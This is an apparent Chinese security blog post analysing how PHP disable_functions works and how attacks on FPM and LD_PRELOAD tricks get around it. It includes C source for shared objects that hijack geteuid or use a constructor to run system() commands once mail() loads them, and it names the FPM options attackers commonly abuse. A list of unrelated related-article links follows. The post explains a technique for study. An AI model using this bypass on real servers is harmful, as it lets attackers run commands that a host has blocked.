这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出。

介绍

php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。

然后通过zend_disable_function()函数去禁止,简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了handler。

而phpinfo⼀直是查看服务器php信息的可靠⽅式,但是在包含修改 disable_function的参数攻击FPM后,phpinfo已经显示修改,但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。


还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。

所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息

的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。

总结

disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
思考
那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现??底层到底是什么?

这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过???

是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce(图片是来自上述文章)

下面是清楚点的。

LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。

而一叶飘零师傅文章中介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。

例如:mail(‘’,’’,’’,’’);

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {system("ls / > /tmp/sky");
}
int geteuid()
{if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so

还有imap_mail()、mb_send_mail()和error_log()函数等

然后还有一个进化版本

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("ls");
}

其中__attribute__ ((constructor))有如下说明

1.It’s run when a shared library is loaded, typically during program startup.
2.That’s how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

1.它在加载共享库时运行,通常在程序启动时运行。//putenv(“LD_PRELOAD=hack.so”);
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。

所以我们就不需要找一个函数去触发了。
【不学的不要点】

php内核分析-fpm和df的问题思考相关推荐

  1. Linux内核分析——可执行程序的装载

    链接的过程 首先运行C预处理器cpp,将C的源程序(a.c)翻译成ASCII码的中间文件(a.i) 接着C编译器ccl,将a.i翻译成ASCII汇编语言文件a.s 接着运行汇编器as,将a.s翻译成可 ...

  2. linux 0.01内核分析与操作系统设计 pdf,《Linux 0.01内核分析与操作系统设计——创造你自己的操作系统》...

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 readme 本光盘为<Linux 0.0.1内核分析与操作系统设计--创造你自己的操作系统>一书的配套光盘,读者可自由取其源文件做学习,研究 ...

  3. linux1.0内核下载,《Linux 0.01 内核分析与操作系统设计》(Linxu 0.01Source)

    中文名: Linux_0_01_内核分析与操作系统设计 英文名: Linxu 0.01Source 发行时间: 2003年 地区: 大陆 对白语言: 普通话 简介: 清华 卢军<Linux0.0 ...

  4. LINUX内核分析第二周学习总结——操作系统是如何工作的

    LINUX内核分析第二周学习总结--操作系统是如何工作的 张忻(原创作品转载请注明出处) <Linux内核分析>MOOC课程http://mooc.study.163.com/course ...

  5. 《Linux内核分析》实验一

    陈智威,<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 课堂学习笔记: 作业截图: 汇编代码堆栈分析: ...

  6. Linux 内核分析 之一:How Computer Works 实验

    说明 欧长坤 原创作品转载请注明出处 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 这学期学校恰好有操 ...

  7. Linux0.1源码分析,《Linux 0.01内核分析与操作系统设计——创造你自己的操作系统》...

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 readme 本光盘为<Linux 0.0.1内核分析与操作系统设计--创造你自己的操作系统>一书的配套光盘,读者可自由取其源文件做学习,研究 ...

  8. linux内核分析 网络九,“Linux内核分析”实验报告(九)

    一 Linux内核分析博客简介及其索引 本次实验简单的分析了计算机如何进行工作,并通过简单的汇编实例进行解释分析 在本次实验中 通过听老师的视频分析,和自己的学习,初步了解了进程切换的原理.操作系统通 ...

  9. Linux内核分析作业第二周

    操作系统是如何工作的 <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 一.函数调用堆栈 1.计算机工作三 ...

最新文章

  1. 全球及中国新式茶饮行业销售价值与经营布局渠道研究报告2022版
  2. matlab根据结构体数组,用邻接矩阵和序遍历创建树形结构:
  3. SQL Server中的SQL语句优化与效率问题
  4. MySQL 数据库修改登录密码
  5. Django创建mysql数据库常用字段及参数
  6. pandas dataframe 使用多进程apply(原生、pandarallel多进程、swifter多进程)
  7. cassandra学习笔记四
  8. 可视化Python编译软件:GUI2Exe
  9. ES中使用nested类型的内嵌对象
  10. 数据结构和算法——线性结构(1)数组、栈、队列和单链表
  11. Linux小工具bc使用
  12. 源支付源码客户端+云端+监控+协议三网免挂免输入(全套版)
  13. php 路由器设置密码,登陆192.168.1.1路由器如何设置密码
  14. 压缩包文件的解压密码如何破解
  15. Hadoop 1.x 和 Hadoop 2.x 有什么区别?
  16. 浪潮存储服务器VAAI
  17. [1108]小米5S TWRP刷面具、EdXposed
  18. FFmpeg 快速上手:命令行详解、工具、教程、电子书
  19. laravel5.6 提示The page has expired due to inactivity. Please refresh and try again.的解决方法
  20. WPS如何转换成图片?三种方法帮你实现

热门文章

  1. DL之模型调参:深度学习算法模型优化参数之对LSTM算法进行超参数调优
  2. DL之CNN:利用CNN(keras, CTC loss, {image_ocr})算法实现OCR光学字符识别
  3. 成功解决ImportError: cannot import name 'pywrap_tensorflow'
  4. Py之pygame:有趣好玩—利用pygame库实现鱼儿自动实时目标跟踪(附完整代码)
  5. 朴素贝叶斯法分类器的Python3 实现
  6. linux命令:ftp
  7. 如何用互联网上的广告来赚取广告费——有点吹牛吗?
  8. csu 1019 Simple Line Editor
  9. 应用程序“DEFAULT WEB SITE/ICLOCK”中的服务器错误
  10. sql server中的decimal或者numeric的精度问题 (转载)